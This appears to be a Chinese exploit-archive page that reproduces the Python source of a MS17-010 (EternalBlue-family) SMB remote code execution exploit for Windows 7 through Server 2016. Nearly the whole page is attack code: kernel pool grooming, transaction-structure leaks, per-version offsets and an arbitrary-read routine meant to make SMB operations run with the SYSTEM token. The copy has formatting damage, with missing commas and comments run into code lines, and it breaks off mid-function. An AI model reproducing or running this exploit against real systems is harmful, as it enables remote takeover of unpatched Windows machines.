当前位置:首页 > POC 2017年07月23日
Microsoft Windows 7 / 8.1 / 2008 R2 / 2012 R2 / 2016 R2 - EternalBlue SMB远程执行代码(MS17-010)

#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
  
'''
MS17-010 exploit for Windows 7+ by sleepya
  
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
  
Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
'''
  
USERNAME = ''
PASSWORD = ''
  
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    PACCESS_TOKEN Token;  // 0x08
    DWORD xx2;
    BOOLEAN CopyOnOpen; // 0x14
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x18
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    QWORD xx2;
    QWORD xx3;
    PACCESS_TOKEN Token;  // 0x18
    DWORD xx4;
    BOOLEAN CopyOnOpen; // 0x24
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x28
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x30
}
  
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
    'SESSION_SECCTX_OFFSET': 0xa0,
    'SESSION_ISNULL_OFFSET': 0xba,
    'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x28,
}
  
WIN7_32_INFO = {
    'SESSION_SECCTX_OFFSET': 0x80,
    'SESSION_ISNULL_OFFSET': 0x96,
    'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x1c,
}
  
# win8+ info
WIN8_INFO = {
    'SESSION_SECCTX_OFFSET': 0xb0,
    'SESSION_ISNULL_OFFSET': 0xca,
    'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x38,
}
  
WIN8_32_INFO = {
    'SESSION_SECCTX_OFFSET': 0x88,
    'SESSION_ISNULL_OFFSET': 0x9e,
    'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x24,
}
  
X86_INFO = {
    'PTR_SIZE' : 4,
    'PTR_FMT' : 'I',
    'FRAG_TAG_OFFSET' : 12,
    'POOL_ALIGN' : 8,
    'SRV_BUFHDR_SIZE' : 8,
    'TRANS_SIZE' : 0xa0# struct size
    'TRANS_FLINK_OFFSET' : 0x18,
    'TRANS_INPARAM_OFFSET' : 0x40,
    'TRANS_OUTPARAM_OFFSET' : 0x44,
    'TRANS_INDATA_OFFSET' : 0x48,
    'TRANS_OUTDATA_OFFSET' : 0x4c,
    'TRANS_FUNCTION_OFFSET' : 0x72,
    'TRANS_MID_OFFSET' : 0x80,
}
  
X64_INFO = {
    'PTR_SIZE' : 8,
    'PTR_FMT' : 'Q',
    'FRAG_TAG_OFFSET' : 0x14,
    'POOL_ALIGN' : 0x10,
    'SRV_BUFHDR_SIZE' : 0x10,
    'TRANS_SIZE' : 0xf8# struct size
    'TRANS_FLINK_OFFSET' : 0x28,
    'TRANS_INPARAM_OFFSET' : 0x70,
    'TRANS_OUTPARAM_OFFSET' : 0x78,
    'TRANS_INDATA_OFFSET' : 0x80,
    'TRANS_OUTDATA_OFFSET' : 0x88,
    'TRANS_FUNCTION_OFFSET' : 0xb2,
    'TRANS_MID_OFFSET' : 0xc0,
}
  
  
def wait_for_request_processed(conn):
    #time.sleep(0.05)
    # send echo is faster than sleep(0.05) when connection is very good
    conn.send_echo('a')
  
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
    global extra_last_mid, special_mid
    special_mid = (conn.next_mid() & 0xff00) - 0x100
    extra_last_mid = special_mid
      
def next_extra_mid():
    global extra_last_mid
    extra_last_mid += 1
    return extra_last_mid
  
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
GROOM_TRANS_SIZE = 0x5010
  
  
def calc_alloc_size(size, align_size):
    return (size + align_size - 1) & ~(align_size-1)
  
def leak_frag_size(conn, tid, fid, info):
    # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
    # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
    # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
    # From the leak info, we can determine the target architecture too.
    mid = conn.next_mid()
    req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
    req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
      
    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2)
    leakData = conn.recv_transaction_data(mid, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('Target is 32 bit')
        if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:
            info.update(WIN7_32_INFO)
        elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
            info.update(WIN8_32_INFO)
        else:
            print('The exploit does not support this 32 bit target')
            sys.exit()
        info.update(X86_INFO)
    elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('Target is 64 bit')
        info.update(X64_INFO)
    else:
        print('Not found Frag pool tag in leak data')
        sys.exit()
      
    # Calculate frag pool size
    info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
    print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
  
    # groom: srv buffer header
    info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
    print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
    # groom paramters and data is alignment by 8 because it is NT_TRANS
    info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'# empty transaction name (4), alignment (4)
  
    # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
    bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
    info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
    print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
    # bride paramters and data is alignment by 4 because it is TRANS
    info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'# empty transaction name (4)
  
    return info['FRAG_POOL_SIZE']
  
  
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
    trans_param = pack('<HH', fid, 0# param for NT_RENAME
    # fill large pagedpool holes (maybe no need)
    for i in range(numFill):
        conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
  
    mid_ntrename = conn.next_mid()
    req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
    req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
  
    req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
    reqs = []
    for i in range(12):
        mid = next_extra_mid()
        reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
  
    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
      
    # expected transactions alignment ("Frag" pool is not shown)
    #
    #    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #
    # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
    # From leaked transaction, we get
    # - leaked transaction address from InParameter or InData
    # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
    # With these information, we can verify the transaction aligment from displacement.
  
    leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    #open('leak.dat', 'wb').write(leakData)
  
    if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
        print('Not found Frag pool tag in leak data')
        return None
      
    # ================================
    # verify leak data
    # ================================
    leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
    # check pool tag and size value in buffer header
    expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
    leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
    if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
        print('No transaction struct in leak data')
        return None
  
    leakTrans = leakData[leakTransOffset:]
  
    ptrf = info['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
    inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
    leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  
    print('CONNECTION: 0x{:x}'.format(connection_addr))
    print('SESSION: 0x{:x}'.format(session_addr))
    print('FLINK: 0x{:x}'.format(flink_value))
    print('InParam: 0x{:x}'.format(inparam_value))
    print('MID: 0x{:x}'.format(leak_mid))
  
    next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
    if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
        print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
        return None
    # trans1: leak transaction
    # trans2: next transaction
    return {
        'connection': connection_addr,
        'session': session_addr,
        'next_page_addr': next_page_addr,
        'trans1_mid': leak_mid,
        'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,
        'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
        'special_mid': special_mid,
    }
  
def read_data(conn, info, read_addr, read_size):
    fmt = info['PTR_FMT']
    # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
    # modify trans2.*ParameterCount and trans2.*DataCount to limit data
    new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
    new_data += pack('<II', 0, 0# SetupCount, MaxSetupCount
    new_data += pack('<III', 8, 8, 8# ParamterCount, TotalParamterCount, MaxParameterCount
    new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
    new_data += pack('<HH', 0, 5# Category, Function (NT_RENAME)
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
      
    # create one more transaction before leaking data
    # - next transaction can be used for arbitrary read/write after the current trans2 is done
    # - next transaction address is from TransactionListEntry.Flink value
    conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
  
    # finish the trans2 to leak
    conn.send_nt_trans_secondary(mid=info['trans2_mid'])
    read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
      
    # set new trans2 address
    info[